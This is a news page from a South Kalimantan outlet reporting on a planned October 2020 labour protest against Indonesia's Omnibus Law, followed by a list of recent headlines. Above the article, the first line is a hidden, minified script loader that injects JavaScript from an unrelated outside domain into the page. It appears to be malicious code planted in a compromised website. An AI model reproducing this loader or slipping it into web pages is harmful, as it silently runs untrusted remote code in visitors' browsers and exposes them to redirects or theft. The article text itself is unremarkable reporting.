(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Besok, Giliran Buruh se Kalsel Gelar Demo Penolakan UU Omnibus Law


KANALKALIMANTAN.COM, BANJARMASIN – Gelombang penolakan terhadap UU Omnibus Law Cipta Kerja terus terjadi. Sebelumnya, ribuan mahasiswa yang tergabung dalam BEM se Kalimantan Selatan turun ke jalan menuntut pencabutan UU Omnibus Law Cipta Kerja pada 8, 15 dan 20 Oktober lalu.

Kini, pada Kamis (22/10/2020) esok giliran ribuan buruh yang tergabung dalam berbagai serikat buruh se Kalimantan Selatan yang akan turun ke jalan menuntut pencabutan UU kontroversial ini. Hal tersebut dibenarkan oleh Biro Hukum Konfederasi Serikat Pekerja Seluruh Indonesia (KSPSI) Kalimantan Selatan, Sumarlan saat dihubungi via sambungan telepon, Rabu (21/10/2020) sore.

“Iya betul, besok kami akan menggelar aksi unjuk rasa di depan Gedung DPRD Provinsi Kalsel. Rencananya jam 09.00 Wita kami akan start dari perusahaan masing-masing dan menuju titik kumpul di Kamboja,” kata Sumarlan.

Adapun perkiraan jumlah massa yang akan turun pada aksi besok, Sumarlan mengatakan bahwa ada sekitar 3.000-4.000 buruh yang akan bergabung dalam aksi. Semua buruh yang turun ke jalan, berasal dari perusahaan dan pabrik yang ada di Kota Banjarmasin.

“Yang tergabung dalam SPSI, instruksinya besok turun semua,” imbuh Sumarlan.

Untuk menghindari adanya penyusup yang akan menunggangi aksi besok, Sumarlan mengatakan bahwa pihaknya sudah memiliki strategi untuk menghindari hal tersebut. Misalnya, memberikan instruksikan kepada para peserta aksi untuk memakai seragam kerja dari perusahaan masing-masing.

“Juga tidak kami perkenankan untuk memakai jaket atau sweeter, jadi harus memperlihatkan seragam kerja masing-masing,” tambahnya.

Sumarlan juga menegaskan, apabila ada oknum penyusup yang tidak bisa menunjukkan identitas, pihaknya sudah berkoordinasi dengan pihak berwajib untuk menangani hal tersebut sesuai dengan aturan yang berlaku.

Terpisah, Kapolda Kalsel Irjen Pol Nico Afinta membenarkan akan ada aksi demonstrasi dari kalangan buruh di Gedung DPRD Provinsi Kalsel. “Kami mendapatkan pemberitahuan bahwa di hari Kamis (besok), serikat buruh di Kalsel juga menggelar penyampaian pendapat di muka umum,” kata Nico, kemarin.

Jenderal bintang dua ini menyebut, pihaknya telah berkoordinasi dengan serikat buruh yang akan berdemonstrasi. Nico pun berharap, buruh dapat menyampaikan aspirasinya sesuai aturan yang ada.

“Mudah-mudahan tidak ada yang menyusupi, sehingga betul-betul kepentingan buruh bisa terakomodir,” pungkas Nico. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.